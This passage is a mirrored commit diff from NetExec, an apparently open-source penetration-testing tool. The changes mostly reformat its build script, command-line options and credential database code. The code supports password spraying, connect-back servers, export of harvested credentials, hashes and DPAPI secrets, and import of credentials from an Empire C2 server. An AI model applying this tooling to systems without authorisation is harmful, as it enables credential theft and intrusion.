mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge branch 'master' into login_neff
This commit is contained in:
+18
-10
@@ -10,6 +10,7 @@ from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
from shiv.bootstrap import Environment
|
||||
|
||||
# from distutils.ccompiler import new_compiler
|
||||
from shiv.builder import create_archive
|
||||
from shiv.cli import __version__ as VERSION
|
||||
@@ -28,23 +29,30 @@ def build_cme():
|
||||
os.mkdir("build")
|
||||
os.mkdir("bin")
|
||||
shutil.copytree("cme", "build/cme")
|
||||
|
||||
|
||||
except Exception as e:
|
||||
print(e)
|
||||
return
|
||||
|
||||
subprocess.run(
|
||||
[sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"],
|
||||
check=True
|
||||
[
|
||||
sys.executable,
|
||||
"-m",
|
||||
"pip",
|
||||
"install",
|
||||
"-r",
|
||||
"requirements.txt",
|
||||
"-t",
|
||||
"build",
|
||||
],
|
||||
check=True,
|
||||
)
|
||||
|
||||
#[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
|
||||
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
|
||||
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
|
||||
|
||||
env = Environment(
|
||||
built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
|
||||
"%Y-%m-%d %H:%M:%S"
|
||||
),
|
||||
built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"),
|
||||
entry_point="cme.crackmapexec:main",
|
||||
script=None,
|
||||
compile_pyc=False,
|
||||
@@ -60,12 +68,11 @@ def build_cme():
|
||||
True,
|
||||
)
|
||||
|
||||
|
||||
def build_cmedb():
|
||||
print("building CMEDB")
|
||||
env = Environment(
|
||||
built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
|
||||
"%Y-%m-%d %H:%M:%S"
|
||||
),
|
||||
built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"),
|
||||
entry_point="cme.cmedb:main",
|
||||
script=None,
|
||||
compile_pyc=False,
|
||||
@@ -81,6 +88,7 @@ def build_cmedb():
|
||||
True,
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
build_cme()
|
||||
|
||||
@@ -2,4 +2,5 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from PyInstaller.utils.hooks import collect_all
|
||||
|
||||
datas, binaries, hiddenimports = collect_all("lsassy")
|
||||
|
||||
+134
-26
@@ -10,14 +10,14 @@ from termcolor import colored
|
||||
|
||||
|
||||
def gen_cli_args():
|
||||
|
||||
VERSION = "5.4.6"
|
||||
VERSION = "5.4.7"
|
||||
CODENAME = "Bruce Wayne"
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
parser = argparse.ArgumentParser(description=f"""
|
||||
parser = argparse.ArgumentParser(
|
||||
description=f"""
|
||||
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
||||
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
|
||||
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
|
||||
@@ -33,12 +33,34 @@ def gen_cli_args():
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
""",
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
type=int,
|
||||
dest="threads",
|
||||
default=100,
|
||||
help="set how many concurrent threads to use (default: 100)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--timeout",
|
||||
default=None,
|
||||
type=int,
|
||||
help="max timeout in seconds of each thread (default: None)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--jitter",
|
||||
metavar="INTERVAL",
|
||||
type=str,
|
||||
help="sets a random delay between each connection (default: None)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-progress",
|
||||
action="store_true",
|
||||
help="Not displaying progress bar during scan",
|
||||
)
|
||||
parser.add_argument("--darrell", action="store_true", help="give Darrell a hand")
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
@@ -47,33 +69,119 @@ def gen_cli_args():
|
||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False)
|
||||
std_parser.add_argument("target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help='database credential ID(s) to use for authentication')
|
||||
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
std_parser.add_argument(
|
||||
"target",
|
||||
nargs="+",
|
||||
type=str,
|
||||
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-id",
|
||||
metavar="CRED_ID",
|
||||
nargs="+",
|
||||
default=[],
|
||||
type=str,
|
||||
dest="cred_id",
|
||||
help="database credential ID(s) to use for authentication",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-u",
|
||||
metavar="USERNAME",
|
||||
dest="username",
|
||||
nargs="+",
|
||||
default=[],
|
||||
help="username(s) or file(s) containing usernames",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-p",
|
||||
metavar="PASSWORD",
|
||||
dest="password",
|
||||
nargs="+",
|
||||
default=[],
|
||||
help="password(s) or file(s) containing passwords",
|
||||
)
|
||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument(
|
||||
"--use-kcache",
|
||||
action="store_true",
|
||||
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
|
||||
)
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
std_parser.add_argument(
|
||||
"--aesKey",
|
||||
metavar="AESKEY",
|
||||
nargs="+",
|
||||
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"--kdcHost",
|
||||
metavar="KDCHOST",
|
||||
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
|
||||
)
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
fail_group.add_argument(
|
||||
"--gfail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of global failed login attempts",
|
||||
)
|
||||
fail_group.add_argument(
|
||||
"--ufail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of failed login attempts per username",
|
||||
)
|
||||
fail_group.add_argument(
|
||||
"--fail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of failed login attempts per host",
|
||||
)
|
||||
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
module_parser.add_argument(
|
||||
"-o",
|
||||
metavar="MODULE_OPTION",
|
||||
nargs="+",
|
||||
default=[],
|
||||
dest="module_options",
|
||||
help="module options",
|
||||
)
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
|
||||
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
|
||||
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
|
||||
module_parser.add_argument(
|
||||
"--options",
|
||||
dest="show_module_options",
|
||||
action="store_true",
|
||||
help="display module options",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server",
|
||||
choices={"http", "https"},
|
||||
default="https",
|
||||
help="use the selected server (default: https)",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server-host",
|
||||
type=str,
|
||||
default="0.0.0.0",
|
||||
metavar="HOST",
|
||||
help="IP to bind the server to (default: 0.0.0.0)",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server-port",
|
||||
metavar="PORT",
|
||||
type=int,
|
||||
help="start the server on the specified port",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--connectback-host",
|
||||
type=str,
|
||||
metavar="CHOST",
|
||||
help="IP for the remote system to connect back to (default: same as server-host)",
|
||||
)
|
||||
|
||||
for protocol in protocols.keys():
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["path"])
|
||||
|
||||
+180
-116
@@ -5,8 +5,11 @@ import cmd
|
||||
import configparser
|
||||
import csv
|
||||
import os
|
||||
from os import listdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
import sqlite3
|
||||
from sqlite3 import connect
|
||||
import sys
|
||||
from textwrap import dedent
|
||||
|
||||
@@ -24,11 +27,7 @@ class UserExitedProto(Exception):
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
db_engine = create_engine(
|
||||
f"sqlite:///{db_path}",
|
||||
isolation_level="AUTOCOMMIT",
|
||||
future=True
|
||||
)
|
||||
db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
return db_engine
|
||||
|
||||
|
||||
@@ -45,8 +44,14 @@ def write_csv(filename, headers, entries):
|
||||
"""
|
||||
Writes a CSV file with the provided parameters.
|
||||
"""
|
||||
with open(os.path.expanduser(filename), 'w') as export_file:
|
||||
csv_file = csv.writer(export_file, delimiter=";", quoting=csv.QUOTE_ALL, lineterminator='\n', escapechar="\\")
|
||||
with open(os.path.expanduser(filename), "w") as export_file:
|
||||
csv_file = csv.writer(
|
||||
export_file,
|
||||
delimiter=";",
|
||||
quoting=csv.QUOTE_ALL,
|
||||
lineterminator="\n",
|
||||
escapechar="\\",
|
||||
)
|
||||
csv_file.writerow(headers)
|
||||
for entry in entries:
|
||||
csv_file.writerow(entry)
|
||||
@@ -66,8 +71,8 @@ def complete_import(text, line):
|
||||
"""
|
||||
Tab-complete 'import' commands
|
||||
"""
|
||||
commands = ["empire", "metasploit"]
|
||||
mline = line.partition(' ')[2]
|
||||
commands = ("empire", "metasploit")
|
||||
mline = line.partition(" ")[2]
|
||||
offs = len(mline) - len(text)
|
||||
return [s[offs:] for s in commands if s.startswith(mline)]
|
||||
|
||||
@@ -76,8 +81,16 @@ def complete_export(text, line):
|
||||
"""
|
||||
Tab-complete 'creds' commands.
|
||||
"""
|
||||
commands = ["creds", "plaintext", "hashes", "shares", "local_admins", "signing", "keys"]
|
||||
mline = line.partition(' ')[2]
|
||||
commands = (
|
||||
"creds",
|
||||
"plaintext",
|
||||
"hashes",
|
||||
"shares",
|
||||
"local_admins",
|
||||
"signing",
|
||||
"keys",
|
||||
)
|
||||
mline = line.partition(" ")[2]
|
||||
offs = len(mline) - len(text)
|
||||
return [s[offs:] for s in commands if s.startswith(mline)]
|
||||
|
||||
@@ -99,7 +112,8 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
self.db.shutdown_db()
|
||||
sys.exit()
|
||||
|
||||
def help_exit(self):
|
||||
@staticmethod
|
||||
def help_exit():
|
||||
help_string = """
|
||||
Exits
|
||||
"""
|
||||
@@ -121,16 +135,23 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export creds <simple|detailed> <filename>")
|
||||
return
|
||||
|
||||
|
||||
filename = line[2]
|
||||
creds = self.db.get_credentials()
|
||||
csv_header = ["id", "domain", "username", "password", "credtype", "pillaged_from"]
|
||||
|
||||
csv_header = (
|
||||
"id",
|
||||
"domain",
|
||||
"username",
|
||||
"password",
|
||||
"credtype",
|
||||
"pillaged_from",
|
||||
)
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
write_csv(filename, csv_header, creds)
|
||||
elif line[1].lower() == "detailed":
|
||||
formatted_creds = []
|
||||
|
||||
|
||||
for cred in creds:
|
||||
entry = [
|
||||
cred[0], # ID
|
||||
@@ -147,16 +168,37 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
write_csv(filename, csv_header, formatted_creds)
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
return
|
||||
print('[+] Creds exported')
|
||||
return
|
||||
print("[+] Creds exported")
|
||||
# Hosts
|
||||
elif command == "hosts":
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
|
||||
return
|
||||
|
||||
csv_header_simple = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing"]
|
||||
csv_header_detailed = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing", "spooler", "zerologon", "petitpotam"]
|
||||
csv_header_simple = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
)
|
||||
csv_header_detailed = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
"spooler",
|
||||
"zerologon",
|
||||
"petitpotam",
|
||||
)
|
||||
filename = line[2]
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
@@ -173,18 +215,18 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
write_list(filename, signing_hosts)
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
return
|
||||
print('[+] Hosts exported')
|
||||
return
|
||||
print("[+] Hosts exported")
|
||||
# Shares
|
||||
elif command == "shares":
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export shares <simple|detailed> <filename>")
|
||||
return
|
||||
|
||||
|
||||
shares = self.db.get_shares()
|
||||
csv_header = ["id", "host", "userid", "name", "remark", "read", "write"]
|
||||
csv_header = ("id", "host", "userid", "name", "remark", "read", "write")
|
||||
filename = line[2]
|
||||
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
write_csv(filename, csv_header, shares)
|
||||
print("[+] shares exported")
|
||||
@@ -193,22 +235,26 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
formatted_shares = []
|
||||
for share in shares:
|
||||
user = self.db.get_users(share[2])[0]
|
||||
|
||||
entry = [
|
||||
share[0], # shareID
|
||||
self.db.get_hosts(share[1])[0][2], # hosts
|
||||
f"{user[1]}\{user[2]}", # userID
|
||||
share[3], # name
|
||||
share[4], # remark
|
||||
bool(share[5]), # read
|
||||
bool(share[6]) # write
|
||||
]
|
||||
if self.db.get_hosts(share[1]):
|
||||
share_host = self.db.get_hosts(share[1])[0][2]
|
||||
else:
|
||||
share_host = "ERROR"
|
||||
|
||||
entry = (
|
||||
share[0], # shareID
|
||||
share_host, # hosts
|
||||
f"{user[1]}\{user[2]}", # userID
|
||||
share[3], # name
|
||||
share[4], # remark
|
||||
bool(share[5]), # read
|
||||
bool(share[6]), # write
|
||||
)
|
||||
formatted_shares.append(entry)
|
||||
write_csv(filename, csv_header, formatted_shares)
|
||||
print("[+] Shares exported")
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
return
|
||||
print("[+] Shares exported")
|
||||
return
|
||||
# Local Admin
|
||||
elif command == "local_admins":
|
||||
if len(line) < 3:
|
||||
@@ -217,28 +263,28 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
|
||||
# These values don't change between simple and detailed
|
||||
local_admins = self.db.get_admin_relations()
|
||||
csv_header = ["id", "userid", "host"]
|
||||
csv_header = ("id", "userid", "host")
|
||||
filename = line[2]
|
||||
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
write_csv(filename, csv_header, local_admins)
|
||||
elif line[1].lower() == "detailed":
|
||||
formatted_local_admins = []
|
||||
for entry in local_admins:
|
||||
user = self.db.get_users(filter_term=entry[1])[0]
|
||||
|
||||
formatted_entry = [
|
||||
entry[0], # Entry ID
|
||||
f"{user[1]}/{user[2]}", # DOMAIN/Username
|
||||
self.db.get_hosts(filter_term=entry[2])[0][2] # Hostname
|
||||
]
|
||||
|
||||
formatted_entry = (
|
||||
entry[0], # Entry ID
|
||||
f"{user[1]}/{user[2]}", # DOMAIN/Username
|
||||
self.db.get_hosts(filter_term=entry[2])[0][2], # Hostname
|
||||
)
|
||||
# Can't modify a tuple which is what self.db.get_admin_relations() returns
|
||||
formatted_local_admins.append(formatted_entry)
|
||||
write_csv(filename, csv_header, formatted_local_admins)
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
return
|
||||
print('[+] Local Admins exported')
|
||||
return
|
||||
print("[+] Local Admins exported")
|
||||
elif command == "dpapi":
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export dpapi <simple|detailed> <filename>")
|
||||
@@ -246,7 +292,15 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
|
||||
# These values don't change between simple and detailed
|
||||
dpapi_secrets = self.db.get_dpapi_secrets()
|
||||
csv_header = ["id", "host", "dpapi_type", "windows_user", "username", "password", "url"]
|
||||
csv_header = (
|
||||
"id",
|
||||
"host",
|
||||
"dpapi_type",
|
||||
"windows_user",
|
||||
"username",
|
||||
"password",
|
||||
"url",
|
||||
)
|
||||
filename = line[2]
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
@@ -254,23 +308,22 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
elif line[1].lower() == "detailed":
|
||||
formatted_dpapi_secret = []
|
||||
for entry in dpapi_secrets:
|
||||
|
||||
formatted_entry = [
|
||||
entry[0], # Entry ID
|
||||
self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname
|
||||
entry[2], # DPAPI type
|
||||
entry[3], # Windows User
|
||||
entry[4], # Username
|
||||
entry[5], # Password
|
||||
entry[6], # URL
|
||||
]
|
||||
formatted_entry = (
|
||||
entry[0], # Entry ID
|
||||
self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname
|
||||
entry[2], # DPAPI type
|
||||
entry[3], # Windows User
|
||||
entry[4], # Username
|
||||
entry[5], # Password
|
||||
entry[6], # URL
|
||||
)
|
||||
# Can't modify a tuple which is what self.db.get_admin_relations() returns
|
||||
formatted_dpapi_secret.append(formatted_entry)
|
||||
write_csv(filename, csv_header, formatted_dpapi_secret)
|
||||
else:
|
||||
print('[-] No such export option: %s' % line[1])
|
||||
return
|
||||
print('[+] DPAPI secrets exported')
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
return
|
||||
print("[+] DPAPI secrets exported")
|
||||
elif command == "keys":
|
||||
if line[1].lower() == "all":
|
||||
keys = self.db.get_keys()
|
||||
@@ -282,7 +335,8 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
else:
|
||||
print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi")
|
||||
|
||||
def help_export(self):
|
||||
@staticmethod
|
||||
def help_export():
|
||||
help_string = """
|
||||
export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename]
|
||||
Exports information to a specified file
|
||||
@@ -298,30 +352,43 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
if not line:
|
||||
return
|
||||
|
||||
if line == 'empire':
|
||||
headers = {
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
if line == "empire":
|
||||
headers = {"Content-Type": "application/json"}
|
||||
# Pull the username and password from the config file
|
||||
payload = {
|
||||
'username': self.config.get('Empire', 'username'),
|
||||
'password': self.config.get('Empire', 'password')
|
||||
"username": self.config.get("Empire", "username"),
|
||||
"password": self.config.get("Empire", "password"),
|
||||
}
|
||||
# Pull the host and port from the config file
|
||||
base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}"
|
||||
|
||||
try:
|
||||
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
|
||||
r = requests.post(
|
||||
base_url + "/api/admin/login",
|
||||
json=payload,
|
||||
headers=headers,
|
||||
verify=False,
|
||||
)
|
||||
if r.status_code == 200:
|
||||
token = r.json()['token']
|
||||
url_params = {'token': token}
|
||||
r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False)
|
||||
token = r.json()["token"]
|
||||
url_params = {"token": token}
|
||||
r = requests.get(
|
||||
base_url + "/api/creds",
|
||||
headers=headers,
|
||||
params=url_params,
|
||||
verify=False,
|
||||
)
|
||||
creds = r.json()
|
||||
|
||||
for cred in creds['creds']:
|
||||
if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'):
|
||||
for cred in creds["creds"]:
|
||||
if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"):
|
||||
continue
|
||||
self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password'])
|
||||
self.db.add_credential(
|
||||
cred["credtype"],
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
)
|
||||
print("[+] Empire credential import successful")
|
||||
else:
|
||||
print("[-] Error authenticating to Empire's RESTful API server!")
|
||||
@@ -345,35 +412,36 @@ class CMEDBMenu(cmd.Cmd):
|
||||
self.p_loader = ProtocolLoader()
|
||||
self.protocols = self.p_loader.get_protocols()
|
||||
|
||||
self.workspace = self.config.get('CME', 'workspace')
|
||||
self.workspace = self.config.get("CME", "workspace")
|
||||
self.do_workspace(self.workspace)
|
||||
|
||||
self.db = self.config.get('CME', 'last_used_db')
|
||||
self.db = self.config.get("CME", "last_used_db")
|
||||
if self.db:
|
||||
self.do_proto(self.db)
|
||||
|
||||
def write_configfile(self):
|
||||
with open(self.config_path, 'w') as configfile:
|
||||
with open(self.config_path, "w") as configfile:
|
||||
self.config.write(configfile)
|
||||
|
||||
def do_proto(self, proto):
|
||||
if not proto:
|
||||
return
|
||||
|
||||
proto_db_path = os.path.join(WORKSPACE_DIR, self.workspace, proto + '.db')
|
||||
if os.path.exists(proto_db_path):
|
||||
proto_db_path = path_join(WORKSPACE_DIR, self.workspace, f"{proto}.db")
|
||||
if exists(proto_db_path):
|
||||
self.conn = create_db_engine(proto_db_path)
|
||||
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath'])
|
||||
db_object = self.p_loader.load_protocol(self.protocols[proto]['dbpath'])
|
||||
self.config.set('CME', 'last_used_db', proto)
|
||||
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
|
||||
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
|
||||
self.config.set("CME", "last_used_db", proto)
|
||||
self.write_configfile()
|
||||
try:
|
||||
proto_menu = getattr(db_nav_object, 'navigator')(self, getattr(db_object, 'database')(self.conn), proto)
|
||||
proto_menu = getattr(db_nav_object, "navigator")(self, getattr(db_object, "database")(self.conn), proto)
|
||||
proto_menu.cmdloop()
|
||||
except UserExitedProto:
|
||||
pass
|
||||
|
||||
def help_proto(self):
|
||||
@staticmethod
|
||||
def help_proto():
|
||||
help_string = """
|
||||
proto [smb|mssql|winrm]
|
||||
*unimplemented protocols: ftp, rdp, ldap, ssh
|
||||
@@ -384,39 +452,42 @@ class CMEDBMenu(cmd.Cmd):
|
||||
def do_workspace(self, line):
|
||||
line = line.strip()
|
||||
if not line:
|
||||
subcommand = ''
|
||||
subcommand = ""
|
||||
self.help_workspace()
|
||||
else:
|
||||
subcommand = line.split()[0]
|
||||
|
||||
if subcommand == 'create':
|
||||
if subcommand == "create":
|
||||
new_workspace = line.split()[1].strip()
|
||||
print(f"[*] Creating workspace '{new_workspace}'")
|
||||
self.create_workspace(new_workspace, self.p_loader, self.protocols)
|
||||
self.do_workspace(new_workspace)
|
||||
elif subcommand == 'list':
|
||||
elif subcommand == "list":
|
||||
print("[*] Enumerating Workspaces")
|
||||
for workspace in os.listdir(os.path.join(WORKSPACE_DIR)):
|
||||
for workspace in listdir(path_join(WORKSPACE_DIR)):
|
||||
if workspace == self.workspace:
|
||||
print("==> "+workspace)
|
||||
print("==> " + workspace)
|
||||
else:
|
||||
print(workspace)
|
||||
elif os.path.exists(os.path.join(WORKSPACE_DIR, line)):
|
||||
self.config.set('CME', 'workspace', line)
|
||||
elif exists(path_join(WORKSPACE_DIR, line)):
|
||||
self.config.set("CME", "workspace", line)
|
||||
self.write_configfile()
|
||||
self.workspace = line
|
||||
self.prompt = f"cmedb ({line}) > "
|
||||
|
||||
def help_workspace(self):
|
||||
@staticmethod
|
||||
def help_workspace():
|
||||
help_string = """
|
||||
workspace [create <targetName> | workspace list | workspace <targetName>]
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_exit(self, line):
|
||||
@staticmethod
|
||||
def do_exit(line):
|
||||
sys.exit()
|
||||
|
||||
def help_exit(self):
|
||||
@staticmethod
|
||||
def help_exit():
|
||||
help_string = """
|
||||
Exits
|
||||
"""
|
||||
@@ -424,18 +495,15 @@ class CMEDBMenu(cmd.Cmd):
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader, protocols):
|
||||
os.mkdir(os.path.join(WORKSPACE_DIR, workspace_name))
|
||||
os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
for protocol in protocols.keys():
|
||||
try:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
except KeyError:
|
||||
continue
|
||||
proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + ".db")
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not os.path.exists(proto_db_path):
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = sqlite3.connect(proto_db_path)
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
@@ -450,27 +518,23 @@ def create_workspace(workspace_name, p_loader, protocols):
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(os.path.join(WORKSPACE_DIR, workspace_name))
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
|
||||
def initialize_db(logger):
|
||||
if not os.path.exists(os.path.join(WS_PATH, "default")):
|
||||
if not exists(path_join(WS_PATH, "default")):
|
||||
logger.debug("Creating default workspace")
|
||||
os.mkdir(os.path.join(WS_PATH, "default"))
|
||||
os.mkdir(path_join(WS_PATH, "default"))
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
for protocol in protocols.keys():
|
||||
try:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
except KeyError:
|
||||
continue
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
|
||||
|
||||
proto_db_path = os.path.join(WS_PATH, "default", protocol + ".db")
|
||||
|
||||
if not os.path.exists(proto_db_path):
|
||||
if not exists(proto_db_path):
|
||||
logger.debug(f"Initializing {protocol.upper()} protocol database")
|
||||
conn = sqlite3.connect(proto_db_path)
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
|
||||
@@ -484,7 +548,7 @@ def initialize_db(logger):
|
||||
|
||||
|
||||
def main():
|
||||
